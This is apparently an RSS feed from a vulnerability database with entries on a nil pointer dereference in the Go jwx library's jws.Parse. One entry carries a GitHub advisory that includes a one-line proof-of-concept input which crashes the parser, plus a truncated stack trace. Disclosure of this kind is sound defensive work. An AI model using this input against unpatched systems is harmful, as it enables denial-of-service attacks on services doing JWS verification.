<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 15 Oct 2026 21:16:34 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-244777</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-244777</link>
      <description>EUVD-2026-244777</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-244777</guid>
    </item>
    <item>
      <title>fkie_cve-2024-21664</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2024-21664</link>
      <description>&lt;p&gt;jwx is a Go module implementing various JWx (JWA/JWE/JWK/JWS/JWT, otherwise known as JOSE) technologies. Calling `jws.Parse` with a JSON serialized payload where the `signature` field is present while `protected` is absent can lead to a nil pointer dereference. The vulnerability can be used to crash/DOS a system doing JWS verification. This vulnerability has been patched in versions 2.0.19 and 1.2.28.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;jwx is a Go module implementing various JWx (JWA/JWE/JWK/JWS/JWT, otherwise known as JOSE) technologies. Calling `jws.Parse` with a JSON serialized payload where the `signature` field is present while `protected` is absent can lead to a nil pointer dereference. The vulnerability can be used to crash/DOS a system doing JWS verification. This vulnerability has been patched in versions 2.0.19 and 1.2.28.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2024-21664</guid>
    </item>
    <item>
      <title>GHSA-pvcr-v8j8-j5q3 — Parsing JSON serialized payload without protected field can lead to segfault</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-pvcr-v8j8-j5q3</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/lestrrat-go/jwx, Go: github.com/lestrrat-go/jwx/v2&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;Calling `jws.Parse` with a JSON serialized payload where the `signature` field is present while `protected` is absent can lead to a nil pointer dereference.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;This seems to also affect other functions that calls `Parse` internally, like `jws.Verify`.&lt;/p&gt;
&lt;p&gt;My understanding of these functions from the docs is that they are supposed to fail gracefully on invalid input and don&amp;#39;t require any prior validation.&lt;/p&gt;
&lt;p&gt;Based on the stack trace in the PoC, the issue seems to be that the processing done in `jws/message.go:UnmarshalJSON()` assumes that if a `signature` field is present, then a `protected` field is also present. If this is not the case, then the subsequent call to `getB64Value(sig.protected)` will dereference `sig.protected`, which is `nil`.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;Reproducer:&lt;/p&gt;
&lt;p&gt;```go
package poc&lt;/p&gt;
&lt;p&gt;import (
        &amp;#34;testing&amp;#34;&lt;/p&gt;
&lt;p&gt;&amp;#34;github.com/lestrrat-go/jwx/v2/jws&amp;#34;
)&lt;/p&gt;
&lt;p&gt;func TestPOC(t *testing.T) {
        _, _ = jws.Parse([]byte(`{&amp;#34;signature&amp;#34;: &amp;#34;&amp;#34;}`))
}
```&lt;/p&gt;
&lt;p&gt;Result:&lt;/p&gt;
&lt;p&gt;```
$ go test        
--- FAIL: TestPOC (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
        panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x40 pc=0x5fd618]&lt;/p&gt;
&lt;p&gt;goroutine 6 [running]:
testing.tRunner.func1.2({0x628800, 0x831030})
        /usr/local/go/src/testing/testing.go:1545 +0x238
testing.tRunner.func1()
        /usr/local/go/src/testing/testing.go:1548 +0x397
panic({0x628800?, 0…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/lestrrat-go/jwx, Go: github.com/lestrrat-go/jwx/v2&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;Calling `jws.Parse` with a JSON serialized payload where the `signature` field is present while `protected` is absent can lead to a nil pointer dereference.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;This seems to also affect other functions that calls `Parse` internally, like `jws.Verify`.&lt;/p&gt;
&lt;p&gt;My understanding of these functions from the docs is that they are supposed to fail gracefully on invalid input and don&amp;#39;t require any prior validation.&lt;/p&gt;
&lt;p&gt;Based on the stack trace in the PoC, the issue seems to be that the processing done in `jws/message.go:UnmarshalJSON()` assumes that if a `signature` field is present, then a `protected` field is also present. If this is not the case, then the subsequent call to `getB64Value(sig.protected)` will dereference `sig.protected`, which is `nil`.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;Reproducer:&lt;/p&gt;
&lt;p&gt;```go
package poc&lt;/p&gt;
&lt;p&gt;import (
        &amp;#34;testing&amp;#34;&lt;/p&gt;
&lt;p&gt;&amp;#34;github.com/lestrrat-go/jwx/v2/jws&amp;#34;
)&lt;/p&gt;
&lt;p&gt;func TestPOC(t *testing.T) {
        _, _ = jws.Parse([]byte(`{&amp;#34;signature&amp;#34;: &amp;#34;&amp;#34;}`))
}
```&lt;/p&gt;
&lt;p&gt;Result:&lt;/p&gt;
&lt;p&gt;```
$ go test        
--- FAIL: TestPOC (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
        panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x40 pc=0x5fd618]&lt;/p&gt;
&lt;p&gt;goroutine 6 [running]:
testing.tRunner.func1.2({0x628800, 0x831030})
        /usr/local/go/src/testing/testing.go:1545 +0x238
testing.tRunner.func1()
        /usr/local/go/src/testing/testing.go:1548 +0x397
panic({0x628800?, 0…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-pvcr-v8j8-j5q3</guid>
    </item>
    <item>
      <title>gsd-2024-21664</title>
      <link>https://cve.radiocsirt.org/vuln/gsd-2024-21664</link>
      <description>gsd-2024-21664</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/gsd-2024-21664</guid>
    </item>
  </channel>
</rss>
